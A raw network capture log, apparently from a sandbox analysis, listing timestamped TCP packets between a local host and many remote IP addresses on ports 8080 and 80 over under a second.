Jan 26, 2025 01:43:31.005359888 CET	51210	8080	192.168.2.13	85.170.100.249
Jan 26, 2025 01:43:31.005359888 CET	40004	8080	192.168.2.13	62.240.92.77
Jan 26, 2025 01:43:31.005368948 CET	47762	8080	192.168.2.13	31.41.111.233
Jan 26, 2025 01:43:31.005371094 CET	40586	8080	192.168.2.13	62.194.101.204
Jan 26, 2025 01:43:31.005371094 CET	57852	8080	192.168.2.13	94.244.236.193
Jan 26, 2025 01:43:31.005371094 CET	54288	8080	192.168.2.13	31.213.124.160
Jan 26, 2025 01:43:31.005371094 CET	59842	8080	192.168.2.13	94.142.138.96
Jan 26, 2025 01:43:31.005377054 CET	59840	8080	192.168.2.13	85.138.52.115
Jan 26, 2025 01:43:31.005390882 CET	36158	8080	192.168.2.13	85.249.177.45
Jan 26, 2025 01:43:31.005393982 CET	42500	8080	192.168.2.13	85.199.235.142
Jan 26, 2025 01:43:31.005393982 CET	35364	8080	192.168.2.13	94.116.147.49
Jan 26, 2025 01:43:31.005393982 CET	51884	8080	192.168.2.13	94.220.13.58
Jan 26, 2025 01:43:31.010163069 CET	8080	35660	94.45.209.46	192.168.2.13
Jan 26, 2025 01:43:31.010303974 CET	35660	8080	192.168.2.13	94.45.209.46
Jan 26, 2025 01:43:31.010381937 CET	35660	8080	192.168.2.13	94.45.209.46
Jan 26, 2025 01:43:31.010391951 CET	35660	8080	192.168.2.13	94.45.209.46
Jan 26, 2025 01:43:31.010936022 CET	36600	8080	192.168.2.13	94.45.209.46
Jan 26, 2025 01:43:31.015166998 CET	8080	35660	94.45.209.46	192.168.2.13
Jan 26, 2025 01:43:31.022924900 CET	80	49250	95.90.79.245	192.168.2.13
Jan 26, 2025 01:43:31.030941010 CET	8080	37608	85.69.54.70	192.168.2.13
Jan 26, 2025 01:43:31.030951023 CET	80	37300	95.80.141.230	192.168.2.13
Jan 26, 2025 01:43:31.030961037 CET	80	42170	95.14.30.220	192.168.2.13
Jan 26, 2025 01:43:31.030970097 CET	8080	58322	94.48.123.79	192.168.2.13
Jan 26, 2025 01:43:31.030986071 CET	80	33270	95.17.140.187	192.168.2.13
Jan 26, 2025 01:43:31.030994892 CET	80	35920	95.21.30.214	192.168.2.13
Jan 26, 2025 01:43:31.031004906 CET	80	45220	95.94.250.224	192.168.2.13
Jan 26, 2025 01:43:31.034966946 CET	80	52254	95.137.4.152	192.168.2.13
Jan 26, 2025 01:43:31.034980059 CET	80	37174	95.192.161.253	192.168.2.13
Jan 26, 2025 01:43:31.034989119 CET	80	51634	95.26.98.137	192.168.2.13
Jan 26, 2025 01:43:31.034998894 CET	80	42456	95.138.51.12	192.168.2.13
Jan 26, 2025 01:43:31.037343025 CET	46810	8080	192.168.2.13	31.194.60.141
Jan 26, 2025 01:43:31.037348986 CET	49368	8080	192.168.2.13	62.18.79.42
Jan 26, 2025 01:43:31.037348986 CET	55340	8080	192.168.2.13	31.170.144.230
Jan 26, 2025 01:43:31.037348986 CET	42318	8080	192.168.2.13	95.64.182.236
Jan 26, 2025 01:43:31.037358046 CET	59346	8080	192.168.2.13	94.98.98.234
Jan 26, 2025 01:43:31.037362099 CET	58204	8080	192.168.2.13	31.211.225.133
Jan 26, 2025 01:43:31.038970947 CET	80	42418	95.123.127.118	192.168.2.13
Jan 26, 2025 01:43:31.038981915 CET	80	44940	95.47.224.193	192.168.2.13
Jan 26, 2025 01:43:31.042176008 CET	8080	46810	31.194.60.141	192.168.2.13
Jan 26, 2025 01:43:31.042186975 CET	8080	49368	62.18.79.42	192.168.2.13
Jan 26, 2025 01:43:31.042197943 CET	8080	55340	31.170.144.230	192.168.2.13
Jan 26, 2025 01:43:31.042448997 CET	46810	8080	192.168.2.13	31.194.60.141
Jan 26, 2025 01:43:31.042453051 CET	55340	8080	192.168.2.13	31.170.144.230
Jan 26, 2025 01:43:31.042453051 CET	55340	8080	192.168.2.13	31.170.144.230
Jan 26, 2025 01:43:31.042454004 CET	55340	8080	192.168.2.13	31.170.144.230
Jan 26, 2025 01:43:31.042454004 CET	49368	8080	192.168.2.13	62.18.79.42
Jan 26, 2025 01:43:31.042937994 CET	56270	8080	192.168.2.13	31.170.144.230
Jan 26, 2025 01:43:31.043560028 CET	46810	8080	192.168.2.13	31.194.60.141
Jan 26, 2025 01:43:31.043560028 CET	46810	8080	192.168.2.13	31.194.60.141
Jan 26, 2025 01:43:31.044033051 CET	47740	8080	192.168.2.13	31.194.60.141
Jan 26, 2025 01:43:31.044554949 CET	49368	8080	192.168.2.13	62.18.79.42
Jan 26, 2025 01:43:31.044554949 CET	49368	8080	192.168.2.13	62.18.79.42
Jan 26, 2025 01:43:31.044884920 CET	50296	8080	192.168.2.13	62.18.79.42
Jan 26, 2025 01:43:31.047266006 CET	8080	55340	31.170.144.230	192.168.2.13
Jan 26, 2025 01:43:31.048336983 CET	8080	46810	31.194.60.141	192.168.2.13
Jan 26, 2025 01:43:31.048732996 CET	8080	47740	31.194.60.141	192.168.2.13
Jan 26, 2025 01:43:31.048846006 CET	47740	8080	192.168.2.13	31.194.60.141
Jan 26, 2025 01:43:31.048846960 CET	47740	8080	192.168.2.13	31.194.60.141
Jan 26, 2025 01:43:31.049340963 CET	8080	49368	62.18.79.42	192.168.2.13
Jan 26, 2025 01:43:31.053868055 CET	8080	47740	31.194.60.141	192.168.2.13
Jan 26, 2025 01:43:31.053946018 CET	47740	8080	192.168.2.13	31.194.60.141
Jan 26, 2025 01:43:31.062985897 CET	8080	35660	94.45.209.46	192.168.2.13
Jan 26, 2025 01:43:31.069444895 CET	59140	8080	192.168.2.13	62.244.9.117
Jan 26, 2025 01:43:31.069447041 CET	44956	8080	192.168.2.13	94.188.252.99
Jan 26, 2025 01:43:31.069444895 CET	44492	8080	192.168.2.13	62.89.114.122
Jan 26, 2025 01:43:31.069451094 CET	33504	8080	192.168.2.13	85.153.30.122
Jan 26, 2025 01:43:31.069451094 CET	49224	8080	192.168.2.13	62.127.45.209
Jan 26, 2025 01:43:31.069458008 CET	47090	8080	192.168.2.13	94.79.168.90
Jan 26, 2025 01:43:31.069475889 CET	36206	8080	192.168.2.13	85.0.74.247
Jan 26, 2025 01:43:31.069477081 CET	55052	8080	192.168.2.13	95.146.179.177
Jan 26, 2025 01:43:31.069477081 CET	46902	8080	192.168.2.13	62.123.146.3
Jan 26, 2025 01:43:31.074310064 CET	8080	44956	94.188.252.99	192.168.2.13
Jan 26, 2025 01:43:31.074322939 CET	8080	59140	62.244.9.117	192.168.2.13
Jan 26, 2025 01:43:31.074481964 CET	59140	8080	192.168.2.13	62.244.9.117
Jan 26, 2025 01:43:31.074482918 CET	44956	8080	192.168.2.13	94.188.252.99
Jan 26, 2025 01:43:31.074482918 CET	44956	8080	192.168.2.13	94.188.252.99
Jan 26, 2025 01:43:31.074482918 CET	44956	8080	192.168.2.13	94.188.252.99
Jan 26, 2025 01:43:31.075002909 CET	45868	8080	192.168.2.13	94.188.252.99
Jan 26, 2025 01:43:31.075648069 CET	59140	8080	192.168.2.13	62.244.9.117
Jan 26, 2025 01:43:31.075648069 CET	59140	8080	192.168.2.13	62.244.9.117
Jan 26, 2025 01:43:31.075988054 CET	60048	8080	192.168.2.13	62.244.9.117
Jan 26, 2025 01:43:31.079263926 CET	8080	44956	94.188.252.99	192.168.2.13
Jan 26, 2025 01:43:31.079801083 CET	8080	45868	94.188.252.99	192.168.2.13
Jan 26, 2025 01:43:31.079845905 CET	45868	8080	192.168.2.13	94.188.252.99
Jan 26, 2025 01:43:31.079874992 CET	45868	8080	192.168.2.13	94.188.252.99
Jan 26, 2025 01:43:31.080399990 CET	8080	59140	62.244.9.117	192.168.2.13
Jan 26, 2025 01:43:31.084717035 CET	8080	45868	94.188.252.99	192.168.2.13
Jan 26, 2025 01:43:31.084764004 CET	45868	8080	192.168.2.13	94.188.252.99
Jan 26, 2025 01:43:31.091031075 CET	8080	49368	62.18.79.42	192.168.2.13
Jan 26, 2025 01:43:31.091043949 CET	8080	46810	31.194.60.141	192.168.2.13
Jan 26, 2025 01:43:31.091053963 CET	8080	55340	31.170.144.230	192.168.2.13
Jan 26, 2025 01:43:31.101340055 CET	35710	8080	192.168.2.13	62.138.209.37
Jan 26, 2025 01:43:31.101352930 CET	35680	8080	192.168.2.13	85.252.123.41
Jan 26, 2025 01:43:31.101356030 CET	56806	8080	192.168.2.13	31.121.97.24
Jan 26, 2025 01:43:31.101357937 CET	49260	8080	192.168.2.13	95.126.24.147
Jan 26, 2025 01:43:31.101370096 CET	56902	8080	192.168.2.13	62.98.11.50
Jan 26, 2025 01:43:31.101371050 CET	37672	8080	192.168.2.13	85.116.128.104
Jan 26, 2025 01:43:31.101371050 CET	41492	8080	192.168.2.13	31.225.10.114
Jan 26, 2025 01:43:31.101371050 CET	55640	8080	192.168.2.13	95.152.167.58
Jan 26, 2025 01:43:31.101373911 CET	39198	8080	192.168.2.13	31.16.46.172
Jan 26, 2025 01:43:31.101378918 CET	57846	8080	192.168.2.13	85.38.220.187
Jan 26, 2025 01:43:31.101378918 CET	60072	8080	192.168.2.13	31.154.99.22
Jan 26, 2025 01:43:31.101393938 CET	57818	8080	192.168.2.13	95.122.16.230
Jan 26, 2025 01:43:31.101393938 CET	39458	8080	192.168.2.13	62.35.82.33
Jan 26, 2025 01:43:31.101393938 CET	41358	8080	192.168.2.13	95.9.13.221
Jan 26, 2025 01:43:31.101393938 CET	55660	8080	192.168.2.13	31.228.202.44
Jan 26, 2025 01:43:31.101545095 CET	60338	8080	192.168.2.13	94.231.127.178
Jan 26, 2025 01:43:31.101547956 CET	60904	8080	192.168.2.13	62.245.146.77
Jan 26, 2025 01:43:31.106164932 CET	8080	35710	62.138.209.37	192.168.2.13
Jan 26, 2025 01:43:31.106178045 CET	8080	56806	31.121.97.24	192.168.2.13
Jan 26, 2025 01:43:31.106266975 CET	35710	8080	192.168.2.13	62.138.209.37
Jan 26, 2025 01:43:31.106273890 CET	56806	8080	192.168.2.13	31.121.97.24
Jan 26, 2025 01:43:31.106384993 CET	56806	8080	192.168.2.13	31.121.97.24
Jan 26, 2025 01:43:31.106384993 CET	56806	8080	192.168.2.13	31.121.97.24
Jan 26, 2025 01:43:31.106911898 CET	57680	8080	192.168.2.13	31.121.97.24
Jan 26, 2025 01:43:31.107566118 CET	35710	8080	192.168.2.13	62.138.209.37
Jan 26, 2025 01:43:31.107566118 CET	35710	8080	192.168.2.13	62.138.209.37
Jan 26, 2025 01:43:31.108167887 CET	36578	8080	192.168.2.13	62.138.209.37
Jan 26, 2025 01:43:31.111129045 CET	8080	56806	31.121.97.24	192.168.2.13
Jan 26, 2025 01:43:31.111701012 CET	8080	57680	31.121.97.24	192.168.2.13
Jan 26, 2025 01:43:31.111738920 CET	57680	8080	192.168.2.13	31.121.97.24
Jan 26, 2025 01:43:31.111763954 CET	57680	8080	192.168.2.13	31.121.97.24
Jan 26, 2025 01:43:31.112287998 CET	8080	35710	62.138.209.37	192.168.2.13
Jan 26, 2025 01:43:31.116719961 CET	8080	57680	31.121.97.24	192.168.2.13
Jan 26, 2025 01:43:31.116756916 CET	57680	8080	192.168.2.13	31.121.97.24
Jan 26, 2025 01:43:31.122968912 CET	8080	59140	62.244.9.117	192.168.2.13
Jan 26, 2025 01:43:31.122991085 CET	8080	44956	94.188.252.99	192.168.2.13
Jan 26, 2025 01:43:31.133348942 CET	52204	8080	192.168.2.13	85.196.0.104
Jan 26, 2025 01:43:31.133357048 CET	49504	8080	192.168.2.13	62.7.233.19
Jan 26, 2025 01:43:31.133358002 CET	48912	8080	192.168.2.13	94.80.194.173
Jan 26, 2025 01:43:31.133357048 CET	34984	8080	192.168.2.13	62.243.127.117
Jan 26, 2025 01:43:31.133358002 CET	35362	8080	192.168.2.13	85.13.203.241
Jan 26, 2025 01:43:31.133357048 CET	56348	8080	192.168.2.13	95.112.56.24
Jan 26, 2025 01:43:31.133357048 CET	43878	8080	192.168.2.13	85.223.18.190
Jan 26, 2025 01:43:31.133357048 CET	38580	8080	192.168.2.13	85.230.219.225
Jan 26, 2025 01:43:31.133372068 CET	34912	8080	192.168.2.13	95.163.59.146
Jan 26, 2025 01:43:31.133373022 CET	58042	8080	192.168.2.13	94.73.72.116
Jan 26, 2025 01:43:31.133385897 CET	32924	8080	192.168.2.13	95.246.140.82
Jan 26, 2025 01:43:31.133393049 CET	55924	8080	192.168.2.13	94.207.102.137
Jan 26, 2025 01:43:31.138170958 CET	8080	52204	85.196.0.104	192.168.2.13
Jan 26, 2025 01:43:31.138185024 CET	8080	48912	94.80.194.173	192.168.2.13
Jan 26, 2025 01:43:31.138195038 CET	8080	49504	62.7.233.19	192.168.2.13
Jan 26, 2025 01:43:31.138226986 CET	49504	8080	192.168.2.13	62.7.233.19
Jan 26, 2025 01:43:31.138231039 CET	52204	8080	192.168.2.13	85.196.0.104
Jan 26, 2025 01:43:31.138340950 CET	52204	8080	192.168.2.13	85.196.0.104
Jan 26, 2025 01:43:31.138340950 CET	52204	8080	192.168.2.13	85.196.0.104
Jan 26, 2025 01:43:31.138463974 CET	48912	8080	192.168.2.13	94.80.194.173
Jan 26, 2025 01:43:31.138899088 CET	53048	8080	192.168.2.13	85.196.0.104
Jan 26, 2025 01:43:31.139434099 CET	49504	8080	192.168.2.13	62.7.233.19
Jan 26, 2025 01:43:31.139446974 CET	49504	8080	192.168.2.13	62.7.233.19
Jan 26, 2025 01:43:31.140147924 CET	50348	8080	192.168.2.13	62.7.233.19
Jan 26, 2025 01:43:31.141264915 CET	48912	8080	192.168.2.13	94.80.194.173
Jan 26, 2025 01:43:31.141266108 CET	48912	8080	192.168.2.13	94.80.194.173
Jan 26, 2025 01:43:31.141644955 CET	49756	8080	192.168.2.13	94.80.194.173
Jan 26, 2025 01:43:31.143239975 CET	8080	52204	85.196.0.104	192.168.2.13
Jan 26, 2025 01:43:31.144234896 CET	8080	49504	62.7.233.19	192.168.2.13
Jan 26, 2025 01:43:31.146054029 CET	8080	48912	94.80.194.173	192.168.2.13
Jan 26, 2025 01:43:31.154985905 CET	8080	35710	62.138.209.37	192.168.2.13
Jan 26, 2025 01:43:31.154999971 CET	8080	56806	31.121.97.24	192.168.2.13
Jan 26, 2025 01:43:31.165354967 CET	44380	8080	192.168.2.13	85.132.99.107
Jan 26, 2025 01:43:31.165365934 CET	43108	8080	192.168.2.13	62.48.242.250
Jan 26, 2025 01:43:31.165366888 CET	43836	8080	192.168.2.13	31.162.29.39
Jan 26, 2025 01:43:31.165368080 CET	60374	8080	192.168.2.13	94.59.80.105
Jan 26, 2025 01:43:31.165368080 CET	48842	8080	192.168.2.13	85.167.148.117
Jan 26, 2025 01:43:31.165368080 CET	55196	8080	192.168.2.13	94.203.117.116
Jan 26, 2025 01:43:31.165375948 CET	40716	8080	192.168.2.13	62.254.182.25
Jan 26, 2025 01:43:31.165375948 CET	47408	8080	192.168.2.13	94.232.154.78
Jan 26, 2025 01:43:31.165385008 CET	60686	8080	192.168.2.13	94.104.231.153
Jan 26, 2025 01:43:31.165385008 CET	42008	8080	192.168.2.13	62.76.155.0
Jan 26, 2025 01:43:31.165385008 CET	56674	8080	192.168.2.13	85.119.6.144
Jan 26, 2025 01:43:31.165393114 CET	52258	8080	192.168.2.13	31.60.205.171
Jan 26, 2025 01:43:31.165407896 CET	56492	8080	192.168.2.13	95.19.102.77
Jan 26, 2025 01:43:31.165426016 CET	51782	8080	192.168.2.13	85.194.71.78
Jan 26, 2025 01:43:31.170228004 CET	8080	44380	85.132.99.107	192.168.2.13
Jan 26, 2025 01:43:31.170243025 CET	8080	60374	94.59.80.105	192.168.2.13
Jan 26, 2025 01:43:31.170253038 CET	8080	43108	62.48.242.250	192.168.2.13
Jan 26, 2025 01:43:31.170412064 CET	44380	8080	192.168.2.13	85.132.99.107
Jan 26, 2025 01:43:31.170412064 CET	44380	8080	192.168.2.13	85.132.99.107
Jan 26, 2025 01:43:31.170412064 CET	44380	8080	192.168.2.13	85.132.99.107
Jan 26, 2025 01:43:31.170491934 CET	60374	8080	192.168.2.13	94.59.80.105
Jan 26, 2025 01:43:31.170509100 CET	43108	8080	192.168.2.13	62.48.242.250
Jan 26, 2025 01:43:31.170824051 CET	45192	8080	192.168.2.13	85.132.99.107
Jan 26, 2025 01:43:31.171411991 CET	60374	8080	192.168.2.13	94.59.80.105
Jan 26, 2025 01:43:31.171411991 CET	60374	8080	192.168.2.13	94.59.80.105
Jan 26, 2025 01:43:31.171761990 CET	32964	8080	192.168.2.13	94.59.80.105
Jan 26, 2025 01:43:31.172270060 CET	43108	8080	192.168.2.13	62.48.242.250
Jan 26, 2025 01:43:31.172270060 CET	43108	8080	192.168.2.13	62.48.242.250
Jan 26, 2025 01:43:31.172979116 CET	43928	8080	192.168.2.13	62.48.242.250
Jan 26, 2025 01:43:31.175417900 CET	8080	44380	85.132.99.107	192.168.2.13
Jan 26, 2025 01:43:31.176230907 CET	8080	60374	94.59.80.105	192.168.2.13
Jan 26, 2025 01:43:31.176562071 CET	8080	32964	94.59.80.105	192.168.2.13
Jan 26, 2025 01:43:31.176623106 CET	32964	8080	192.168.2.13	94.59.80.105
Jan 26, 2025 01:43:31.176646948 CET	32964	8080	192.168.2.13	94.59.80.105
Jan 26, 2025 01:43:31.177017927 CET	8080	43108	62.48.242.250	192.168.2.13
Jan 26, 2025 01:43:31.181605101 CET	8080	32964	94.59.80.105	192.168.2.13
Jan 26, 2025 01:43:31.181672096 CET	32964	8080	192.168.2.13	94.59.80.105
Jan 26, 2025 01:43:31.187010050 CET	8080	48912	94.80.194.173	192.168.2.13
Jan 26, 2025 01:43:31.187024117 CET	8080	49504	62.7.233.19	192.168.2.13
Jan 26, 2025 01:43:31.187033892 CET	8080	52204	85.196.0.104	192.168.2.13
Jan 26, 2025 01:43:31.197359085 CET	41678	8080	192.168.2.13	85.18.173.235
Jan 26, 2025 01:43:31.197359085 CET	51818	8080	192.168.2.13	31.249.47.242
Jan 26, 2025 01:43:31.197365046 CET	45360	8080	192.168.2.13	94.250.174.201
Jan 26, 2025 01:43:31.197365046 CET	45024	8080	192.168.2.13	62.154.231.31
Jan 26, 2025 01:43:31.197365046 CET	43280	8080	192.168.2.13	31.138.213.84
Jan 26, 2025 01:43:31.197365046 CET	42628	8080	192.168.2.13	94.69.195.78
Jan 26, 2025 01:43:31.197366953 CET	47652	8080	192.168.2.13	62.211.36.178
Jan 26, 2025 01:43:31.197366953 CET	59642	8080	192.168.2.13	31.234.2.55
Jan 26, 2025 01:43:31.197369099 CET	58952	8080	192.168.2.13	62.7.184.174
Jan 26, 2025 01:43:31.197370052 CET	36434	8080	192.168.2.13	62.233.241.140
Jan 26, 2025 01:43:31.197376013 CET	44462	8080	192.168.2.13	85.157.19.184
Jan 26, 2025 01:43:31.209017992 CET	8080	41678	85.18.173.235	192.168.2.13
Jan 26, 2025 01:43:31.209034920 CET	8080	51818	31.249.47.242	192.168.2.13
Jan 26, 2025 01:43:31.209419012 CET	41678	8080	192.168.2.13	85.18.173.235
Jan 26, 2025 01:43:31.209419012 CET	51818	8080	192.168.2.13	31.249.47.242
Jan 26, 2025 01:43:31.209419012 CET	51818	8080	192.168.2.13	31.249.47.242
Jan 26, 2025 01:43:31.209491968 CET	51818	8080	192.168.2.13	31.249.47.242
Jan 26, 2025 01:43:31.210501909 CET	52614	8080	192.168.2.13	31.249.47.242
Jan 26, 2025 01:43:31.211339951 CET	41678	8080	192.168.2.13	85.18.173.235
Jan 26, 2025 01:43:31.211339951 CET	41678	8080	192.168.2.13	85.18.173.235
Jan 26, 2025 01:43:31.211683989 CET	42468	8080	192.168.2.13	85.18.173.235
Jan 26, 2025 01:43:31.215718985 CET	8080	51818	31.249.47.242	192.168.2.13
Jan 26, 2025 01:43:31.217063904 CET	8080	52614	31.249.47.242	192.168.2.13
Jan 26, 2025 01:43:31.217142105 CET	52614	8080	192.168.2.13	31.249.47.242
Jan 26, 2025 01:43:31.217170954 CET	52614	8080	192.168.2.13	31.249.47.242
Jan 26, 2025 01:43:31.217816114 CET	8080	41678	85.18.173.235	192.168.2.13
Jan 26, 2025 01:43:31.219017029 CET	8080	42468	85.18.173.235	192.168.2.13
Jan 26, 2025 01:43:31.219043016 CET	8080	43108	62.48.242.250	192.168.2.13
Jan 26, 2025 01:43:31.219053030 CET	8080	60374	94.59.80.105	192.168.2.13
Jan 26, 2025 01:43:31.219063997 CET	8080	44380	85.132.99.107	192.168.2.13
Jan 26, 2025 01:43:31.219163895 CET	42468	8080	192.168.2.13	85.18.173.235
Jan 26, 2025 01:43:31.219163895 CET	42468	8080	192.168.2.13	85.18.173.235
Jan 26, 2025 01:43:31.222647905 CET	8080	52614	31.249.47.242	192.168.2.13
Jan 26, 2025 01:43:31.222702026 CET	52614	8080	192.168.2.13	31.249.47.242
Jan 26, 2025 01:43:31.224591017 CET	8080	42468	85.18.173.235	192.168.2.13
Jan 26, 2025 01:43:31.224642992 CET	42468	8080	192.168.2.13	85.18.173.235
Jan 26, 2025 01:43:31.229346037 CET	37724	8080	192.168.2.13	85.132.57.246
Jan 26, 2025 01:43:31.229346991 CET	47918	8080	192.168.2.13	94.236.173.101
Jan 26, 2025 01:43:31.229351997 CET	43952	8080	192.168.2.13	95.134.172.91
Jan 26, 2025 01:43:31.229355097 CET	49148	8080	192.168.2.13	31.163.96.51
Jan 26, 2025 01:43:31.229362011 CET	38244	8080	192.168.2.13	31.132.135.236
Jan 26, 2025 01:43:31.229365110 CET	35982	8080	192.168.2.13	94.182.66.80
Jan 26, 2025 01:43:31.229372978 CET	40906	8080	192.168.2.13	85.150.61.215
Jan 26, 2025 01:43:31.229376078 CET	42818	8080	192.168.2.13	62.11.6.95
Jan 26, 2025 01:43:31.229376078 CET	52018	8080	192.168.2.13	85.116.48.161
Jan 26, 2025 01:43:31.229383945 CET	42452	8080	192.168.2.13	85.169.156.134
Jan 26, 2025 01:43:31.234998941 CET	8080	37724	85.132.57.246	192.168.2.13
Jan 26, 2025 01:43:31.235057116 CET	37724	8080	192.168.2.13	85.132.57.246
Jan 26, 2025 01:43:31.235141039 CET	37724	8080	192.168.2.13	85.132.57.246
Jan 26, 2025 01:43:31.235152006 CET	37724	8080	192.168.2.13	85.132.57.246
Jan 26, 2025 01:43:31.235680103 CET	38494	8080	192.168.2.13	85.132.57.246
Jan 26, 2025 01:43:31.239835978 CET	8080	37724	85.132.57.246	192.168.2.13
Jan 26, 2025 01:43:31.240478992 CET	8080	38494	85.132.57.246	192.168.2.13
Jan 26, 2025 01:43:31.240566969 CET	38494	8080	192.168.2.13	85.132.57.246
Jan 26, 2025 01:43:31.240566969 CET	38494	8080	192.168.2.13	85.132.57.246
Jan 26, 2025 01:43:31.245544910 CET	8080	38494	85.132.57.246	192.168.2.13
Jan 26, 2025 01:43:31.245596886 CET	38494	8080	192.168.2.13	85.132.57.246
Jan 26, 2025 01:43:31.261370897 CET	52860	8080	192.168.2.13	94.235.10.122
Jan 26, 2025 01:43:31.261373997 CET	47226	8080	192.168.2.13	31.201.75.177
Jan 26, 2025 01:43:31.261374950 CET	60750	8080	192.168.2.13	31.252.193.204
Jan 26, 2025 01:43:31.261373997 CET	38974	8080	192.168.2.13	95.19.52.194
Jan 26, 2025 01:43:31.261378050 CET	54102	8080	192.168.2.13	62.187.126.23
Jan 26, 2025 01:43:31.261392117 CET	36024	8080	192.168.2.13	31.143.117.35
Jan 26, 2025 01:43:31.261393070 CET	39644	8080	192.168.2.13	31.96.165.91
Jan 26, 2025 01:43:31.261398077 CET	34318	8080	192.168.2.13	94.90.16.147
Jan 26, 2025 01:43:31.261399031 CET	58990	8080	192.168.2.13	85.127.235.254
Jan 26, 2025 01:43:31.261399031 CET	37618	8080	192.168.2.13	94.205.145.87
Jan 26, 2025 01:43:31.261403084 CET	52556	8080	192.168.2.13	85.180.172.41
Jan 26, 2025 01:43:31.263175964 CET	8080	41678	85.18.173.235	192.168.2.13
Jan 26, 2025 01:43:31.263189077 CET	8080	51818	31.249.47.242	192.168.2.13
Jan 26, 2025 01:43:31.266180992 CET	8080	52860	94.235.10.122	192.168.2.13
Jan 26, 2025 01:43:31.266192913 CET	8080	60750	31.252.193.204	192.168.2.13
Jan 26, 2025 01:43:31.266237974 CET	52860	8080	192.168.2.13	94.235.10.122
Jan 26, 2025 01:43:31.266243935 CET	60750	8080	192.168.2.13	31.252.193.204
Jan 26, 2025 01:43:31.266341925 CET	60750	8080	192.168.2.13	31.252.193.204
Jan 26, 2025 01:43:31.266341925 CET	60750	8080	192.168.2.13	31.252.193.204
Jan 26, 2025 01:43:31.266767025 CET	33266	8080	192.168.2.13	31.252.193.204
Jan 26, 2025 01:43:31.267255068 CET	52860	8080	192.168.2.13	94.235.10.122
Jan 26, 2025 01:43:31.267255068 CET	52860	8080	192.168.2.13	94.235.10.122
Jan 26, 2025 01:43:31.267695904 CET	53604	8080	192.168.2.13	94.235.10.122
Jan 26, 2025 01:43:31.271106005 CET	8080	60750	31.252.193.204	192.168.2.13
Jan 26, 2025 01:43:31.271558046 CET	8080	33266	31.252.193.204	192.168.2.13
Jan 26, 2025 01:43:31.271627903 CET	33266	8080	192.168.2.13	31.252.193.204
Jan 26, 2025 01:43:31.271627903 CET	33266	8080	192.168.2.13	31.252.193.204
Jan 26, 2025 01:43:31.272039890 CET	8080	52860	94.235.10.122	192.168.2.13
Jan 26, 2025 01:43:31.276555061 CET	8080	33266	31.252.193.204	192.168.2.13
Jan 26, 2025 01:43:31.276604891 CET	33266	8080	192.168.2.13	31.252.193.204
Jan 26, 2025 01:43:31.282951117 CET	8080	37724	85.132.57.246	192.168.2.13
Jan 26, 2025 01:43:31.293354034 CET	55752	8080	192.168.2.13	95.73.167.125
Jan 26, 2025 01:43:31.293354034 CET	57806	8080	192.168.2.13	95.46.197.94
Jan 26, 2025 01:43:31.293354034 CET	35376	8080	192.168.2.13	95.124.15.222
Jan 26, 2025 01:43:31.293365955 CET	45810	8080	192.168.2.13	62.166.149.238
Jan 26, 2025 01:43:31.293373108 CET	36778	8080	192.168.2.13	94.151.149.80
Jan 26, 2025 01:43:31.293375015 CET	46124	8080	192.168.2.13	94.204.123.255
Jan 26, 2025 01:43:31.293375015 CET	55772	8080	192.168.2.13	31.102.59.167
Jan 26, 2025 01:43:31.293379068 CET	51164	8080	192.168.2.13	62.111.47.186
Jan 26, 2025 01:43:31.293379068 CET	57938	8080	192.168.2.13	85.95.49.32
Jan 26, 2025 01:43:31.293379068 CET	39554	8080	192.168.2.13	95.145.114.36
Jan 26, 2025 01:43:31.293382883 CET	60294	8080	192.168.2.13	31.153.199.12
Jan 26, 2025 01:43:31.293406010 CET	60898	8080	192.168.2.13	62.20.208.232
Jan 26, 2025 01:43:31.298232079 CET	8080	55752	95.73.167.125	192.168.2.13
Jan 26, 2025 01:43:31.298243999 CET	8080	57806	95.46.197.94	192.168.2.13
Jan 26, 2025 01:43:31.298254967 CET	8080	35376	95.124.15.222	192.168.2.13
Jan 26, 2025 01:43:31.298285961 CET	57806	8080	192.168.2.13	95.46.197.94
Jan 26, 2025 01:43:31.298310995 CET	55752	8080	192.168.2.13	95.73.167.125
Jan 26, 2025 01:43:31.298325062 CET	35376	8080	192.168.2.13	95.124.15.222
Jan 26, 2025 01:43:31.298329115 CET	55752	8080	192.168.2.13	95.73.167.125
Jan 26, 2025 01:43:31.298332930 CET	57806	8080	192.168.2.13	95.46.197.94
Jan 26, 2025 01:43:31.298399925 CET	35376	8080	192.168.2.13	95.124.15.222
Jan 26, 2025 01:43:31.303268909 CET	8080	57806	95.46.197.94	192.168.2.13
Jan 26, 2025 01:43:31.303319931 CET	57806	8080	192.168.2.13	95.46.197.94
Jan 26, 2025 01:43:31.303508043 CET	8080	55752	95.73.167.125	192.168.2.13
Jan 26, 2025 01:43:31.303661108 CET	8080	35376	95.124.15.222	192.168.2.13
Jan 26, 2025 01:43:31.303673983 CET	55752	8080	192.168.2.13	95.73.167.125
Jan 26, 2025 01:43:31.303699017 CET	35376	8080	192.168.2.13	95.124.15.222
Jan 26, 2025 01:43:31.314990997 CET	8080	52860	94.235.10.122	192.168.2.13
Jan 26, 2025 01:43:31.315002918 CET	8080	60750	31.252.193.204	192.168.2.13
Jan 26, 2025 01:43:31.325371981 CET	34244	8080	192.168.2.13	94.202.11.67
Jan 26, 2025 01:43:31.325385094 CET	50012	8080	192.168.2.13	95.121.127.222
Jan 26, 2025 01:43:31.325395107 CET	45698	8080	192.168.2.13	62.142.130.200
Jan 26, 2025 01:43:31.325400114 CET	51742	8080	192.168.2.13	95.125.247.170
Jan 26, 2025 01:43:31.325400114 CET	49796	8080	192.168.2.13	85.56.94.70
Jan 26, 2025 01:43:31.325402975 CET	34246	8080	192.168.2.13	95.67.120.208
Jan 26, 2025 01:43:31.325400114 CET	46718	8080	192.168.2.13	95.2.28.4
Jan 26, 2025 01:43:31.325402975 CET	51276	8080	192.168.2.13	95.210.161.36
Jan 26, 2025 01:43:31.325402975 CET	54012	8080	192.168.2.13	31.118.72.24
Jan 26, 2025 01:43:31.325480938 CET	47808	8080	192.168.2.13	62.121.59.222
Jan 26, 2025 01:43:31.325480938 CET	53254	8080	192.168.2.13	95.116.124.168
Jan 26, 2025 01:43:31.325480938 CET	40408	8080	192.168.2.13	95.177.164.118
Jan 26, 2025 01:43:31.330157042 CET	8080	34244	94.202.11.67	192.168.2.13
Jan 26, 2025 01:43:31.330180883 CET	8080	50012	95.121.127.222	192.168.2.13
Jan 26, 2025 01:43:31.330193043 CET	8080	45698	62.142.130.200	192.168.2.13
Jan 26, 2025 01:43:31.330265045 CET	34244	8080	192.168.2.13	94.202.11.67
Jan 26, 2025 01:43:31.330282927 CET	45698	8080	192.168.2.13	62.142.130.200
